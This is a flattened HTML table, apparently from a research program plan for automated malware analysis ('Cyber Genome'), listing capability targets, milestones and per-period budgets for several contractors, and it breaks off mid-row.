&nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Function\r\n  Abstraction\r\n  \r\n  \r\n  5%\r\n  Optimization\r\n  \r\n  \r\n  20%\r\n  Optimization\r\n  \r\n  \r\n  50%\r\n  Optimization\r\n  \r\n  \r\n  200%\r\n  Optimization\r\n  \r\n \r\n \r\n  \r\n  ASM\r\n  Scubbing\r\n  \r\n  \r\n  5%\r\n  Optimization\r\n  \r\n  \r\n  20%\r\n  Optimization\r\n  \r\n  \r\n  50%\r\n  Optimization\r\n  \r\n  \r\n  200%\r\n  Optimization\r\n  \r\n \r\n \r\n  \r\n  Known\r\n  Trait Analysis\r\n  \r\n  \r\n  5%\r\n  Identification\r\n  \r\n  \r\n  10%\r\n  Identification\r\n  \r\n  \r\n  20%\r\n  Identification\r\n  \r\n  \r\n  40%\r\n  Identification\r\n  \r\n \r\n \r\n  \r\n  Unknown\r\n  Trait Analysis\r\n  \r\n  \r\n  5%\r\n  Identification\r\n  \r\n  \r\n  10%\r\n  Identification\r\n  \r\n  \r\n  30%\r\n  Identification\r\n  \r\n  \r\n  N/A\r\n  \r\n \r\n \r\n  \r\n  Linear\r\n  Extraction\r\n  \r\n  \r\n  10%\r\n  Extraction\r\n  \r\n  \r\n  20%\r\n  Extraction\r\n  \r\n  \r\n  30%\r\n  Extraction\r\n  \r\n  \r\n  50%\r\n  Extraction\r\n  \r\n \r\n \r\n  \r\n  Full Path\r\n  Extraction\r\n  \r\n  \r\n  10%\r\n  Extraction\r\n  \r\n  \r\n  30%\r\n  Extraction\r\n  \r\n  \r\n  80%\r\n  Extraction\r\n  \r\n  \r\n  95%\r\n  Extraction\r\n  \r\n \r\n \r\n  \r\n  Sequencing\r\n  \r\n  \r\n  \r\n  5%\r\n  Program Mapped\r\n  \r\n  \r\n  30%\r\n  Program Mapped\r\n  \r\n  \r\n  50%\r\n  Program Mapped\r\n  \r\n  \r\n  90%\r\n  Program Mapped\r\n  \r\n \r\n \r\n  \r\n  Flow\r\n  Mapping\r\n  \r\n  \r\n  5%\r\n  Program Flow\r\n  \r\n  \r\n  20%\r\n  Program Flow\r\n  \r\n  \r\n  50%\r\n  Program Flow\r\n  \r\n  \r\n  90% Program\r\n  Flow\r\n  \r\n \r\n \r\n  \r\n  Normalization\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  De-obfuscation\r\n  \r\n  \r\n  10%\r\n  Successful\r\n  \r\n  \r\n  20%\r\n  Successful\r\n  \r\n  \r\n  40%\r\n  Successful\r\n  \r\n  \r\n  90%\r\n  Successful\r\n  \r\n \r\n \r\n  \r\n  Memory\r\n  Exe Reconstruct\r\n  \r\n  \r\n  5%\r\n  Reconstruct\r\n  \r\n  \r\n  20%\r\n  Reconstruct\r\n  \r\n  \r\n  40%\r\n  Reconstruct\r\n  \r\n  \r\n  80%\r\n  Reconstruct\r\n  \r\n \r\n \r\n  \r\n  Suicide\r\n  Removal\r\n  \r\n  \r\n  5% Removed\r\n  \r\n  \r\n  15%\r\n  Removed\r\n  \r\n  \r\n  40%\r\n  Removed\r\n  \r\n  \r\n  90%\r\n  Removed\r\n  \r\n \r\n \r\n  \r\n  Encapsulation\r\n  Extraction\r\n  \r\n  \r\n  N/A\r\n  \r\n  \r\n  5%\r\n  Extraction\r\n  \r\n  \r\n  40%\r\n  Extraction\r\n  \r\n  \r\n  N/A\r\n  \r\n \r\n \r\n  \r\n  Trigger\r\n  Analysis\r\n  \r\n  \r\n  5%\r\n  Trigger capture\r\n  \r\n  \r\n  80%\r\n  Trigger capture\r\n  \r\n  \r\n  N/A\r\n  \r\n  \r\n  N/A\r\n  \r\n \r\n \r\n  \r\n  Automated\r\n  Execution\r\n  \r\n  \r\n  N/A\r\n  \r\n  \r\n  N/A\r\n  \r\n  \r\n  40%\r\n  Fully Automated\r\n  \r\n  \r\n  80%\r\n  Fully Automated\r\n  \r\n \r\n \r\n  \r\n  Obfuscation\r\n  Detection\r\n  \r\n  \r\n  5%\r\n  Detection POC\r\n  \r\n  \r\n  70%\r\n  Detection Pluggin\r\n  \r\n  \r\n  70%\r\n  Detection Proto\r\n  \r\n  \r\n  N/A\r\n  \r\n \r\n \r\n  \r\n  Extraction\r\n  of Artifacts\r\n  \r\n  \r\n  80%\r\n  Extracted\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Interface\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Unified\r\n  Correlation Engine\r\n  \r\n  \r\n  10\r\n  Genome/Hour\r\n  \r\n  \r\n  100 Genome/Hour\r\n  \r\n  \r\n  1K\r\n  Genome/Hour\r\n  \r\n  \r\n  10K\r\n  Genome/Hour\r\n  \r\n \r\n \r\n  \r\n  Dataset\r\n  \r\n  \r\n  1K\r\n  Genomes Cor Cap\r\n  \r\n  \r\n  10K\r\n  Genomes Cor Cap\r\n  \r\n  \r\n  1M\r\n  Genomes Cor Cap\r\n  \r\n  \r\n  10M\r\n  Genome Cor Cap\r\n  \r\n \r\n \r\n  \r\n  Visualization\r\n  \r\n  \r\n  Desktop\r\n  Mock Up\r\n  \r\n  \r\n  100\r\n  Genome Interaction\r\n  \r\n  \r\n  1K\r\n  Genome Interaction\r\n  \r\n  \r\n  10K\r\n  Genome Interaction\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n   \r\n   MILESTONES\r\n   \r\n   \r\n   LEAD\r\n   \r\n   \r\n   PERIOD 1A\r\n   \r\n   \r\n   PERIOD 1B\r\n   \r\n   \r\n   PERIOD 2A\r\n   \r\n   \r\n   PERIOD 2B\r\n   \r\n  \r\n \r\n \r\n  \r\n  Cyber Genome Correlation\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Cyber Genome\r\n  Dataset\r\n  \r\n  \r\n  AVI/SD\r\n  \r\n  \r\n  Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $252,559\r\n  \r\n  \r\n  Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $362,597\r\n  \r\n  \r\n  Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $441,862\r\n  \r\n  \r\n  Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $465,833\r\n  \r\n \r\n \r\n  \r\n  Cyber Genome Lineage &amp;\r\n  Correlation Algorithms Research\r\n  \r\n  \r\n  GDAIS\r\n  \r\n  \r\n  Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $158,175\r\n  \r\n  \r\n  Concept Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $312,297\r\n  \r\n  \r\n  Refinement &amp;\r\n  Prototype&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $323,748\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Linear Execution Space\r\n  Correlation\r\n  \r\n  \r\n  HBGary\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $82,330\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $56,808\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $57,635\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $62,942\r\n  \r\n \r\n \r\n  \r\n  Cyber Lineage Unified Correlation\r\n  Techniques\r\n  \r\n  \r\n  GDAIS\r\n  \r\n  \r\n  Joint Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $356,324\r\n  \r\n  \r\n  Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $553,701\r\n  \r\n  \r\n  Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $482,437\r\n  \r\n  \r\n  Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $623,098\r\n  \r\n \r\n \r\n  \r\n  Cyber Genome Mapping\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Data Flow Mapping Research\r\n  \r\n  \r\n  UCB\r\n  \r\n  \r\n  Viability Research Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $110,188\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Dynamic Linear Execution Space\r\n  Sequencing Research\r\n  \r\n  \r\n  HBGary\r\n  \r\n  \r\n  Concept Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $82,330\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $56,808\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $57,635\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $62,942\r\n  \r\n \r\n \r\n  \r\n  Full Execution Space Sequencing\r\n  Research\r\n  \r\n  \r\n  HBGary\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Research Methods&nbsp; Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $257,181\r\n  \r\n  \r\n  Concept Prototype &amp; Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $218,608\r\n  \r\n \r\n \r\n  \r\n  Full Execution Space Sequencing\r\n  Research\r\n  \r\n  \r\n  Pikewerks\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Unix IDA or Tool Plug-in\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $101,233\r\n  \r\n  \r\n  Unix Standalone Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $228,008\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Full Execution Space Sequencing\r\n  Research\r\n  \r\n  \r\n  UCB\r\n  \r\n  \r\n  Extraction Concept Prototype&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $256,174\r\n  \r\n  \r\n  Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $333,531\r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $379,843[1]\r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $187,768\r\n  \r\n \r\n \r\n  \r\n  Function Abstraction Research\r\n  \r\n  \r\n  SRI\r\n  \r\n  \r\n  Viability Research Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $61,744\r\n  \r\n  \r\n  Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $91,495\r\n  \r\n  \r\n  Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $95,188\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $118,570\r\n  \r\n \r\n \r\n  \r\n  Cyber Genome Sequencing\r\n  Algorithms Research\r\n  \r\n  \r\n  SRI\r\n  \r\n  \r\n  Viability Research Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $92,954\r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $154,783\r\n  \r\n  \r\n  Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $160,701\r\n  \r\n  \r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n  \r\n \r\n \r\n  \r\n  Unknown Malicious Behavior\r\n  Detection\r\n  \r\n  \r\n  UCB\r\n  \r\n  \r\n  Viability Research Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $107,509\r\n  \r\n  \r\n  Concept Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $166,514\r\n  \r\n  \r\n  Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $204,074\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Known Malicious Behavior\r\n  Detection\r\n  \r\n  \r\n  HBGary\r\n  \r\n  \r\n  Concept Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $82,330\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $56,808\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $57,635\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $62,942\r\n  \r\n \r\n \r\n  \r\n  Cyber Linnaean Taxonomy\r\n  \r\n  \r\n  SRI\r\n  \r\n  \r\n  Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $81,574\r\n  \r\n  \r\n  Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $110,703\r\n  \r\n  \r\n  Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $140,499\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Taint Analysis / Provenance\r\n  \r\n  \r\n  SRI\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $165,472\r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n   \r\n   TASK\r\n   \r\n   \r\n   LEAD\r\n   \r\n   \r\n   PERIOD 1A\r\n   \r\n   \r\n   PERIOD 1B\r\n   \r\n   \r\n   PERIOD 2A\r\n   \r\n   \r\n   PERIOD 2B\r\n   \r\n  \r\n \r\n \r\n  \r\n  Automation for Normalization\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  De-obfuscation of code \r\n  \r\n  \r\n  SRI\r\n  \r\n  \r\n  Concept Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $149,241\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $123,618\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $181,806\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  MS Memory to Execution\r\n  Reconstruction \r\n  \r\n  \r\n  SRI\r\n  \r\n  \r\n  Concept Prototype &amp;\r\n  